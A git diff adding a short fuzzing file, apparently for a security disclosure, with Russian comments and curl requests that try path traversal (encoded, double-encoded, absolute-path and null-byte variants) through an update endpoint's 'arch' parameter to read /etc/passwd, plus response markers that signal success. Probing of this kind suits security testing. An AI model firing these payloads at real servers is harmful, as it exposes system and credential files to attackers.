diff --git a/rosetta-sdu-2026-0000/FUZZRAW.txt b/rosetta-sdu-2026-0000/FUZZRAW.txt new file mode 100644 index 0000000..05650aa --- /dev/null +++ b/rosetta-sdu-2026-0000/FUZZRAW.txt @@ -0,0 +1,12 @@ + +curl "http://target/updates/get?platform=android&arch=%2e%2e%2f%2e%2e%2fetc%2fpasswd&app=1.0.0&kernel=0.0.0" +curl "http://target/updates/get?platform=android&arch=%252e%252e%252fetc%2fpasswd&app=1.0.0&kernel=0.0.0" + +абсолютные пути +curl "http://target/updates/get?platform=android&arch=/etc/passwd&app=1.0.0&kernel=0.0.0" + +Null-byte обход (лажа врятли сервер будет старый но все же) +curl "http://target/updates/get?platform=android&arch=../../../etc/passwd%00.jar&app=1.0.0&kernel=0.0.0" + + не только на `kernelUrl`, но и на тело ответа + "root:", "USER=", "localhost", "java.version", "os.name" \ No newline at end of file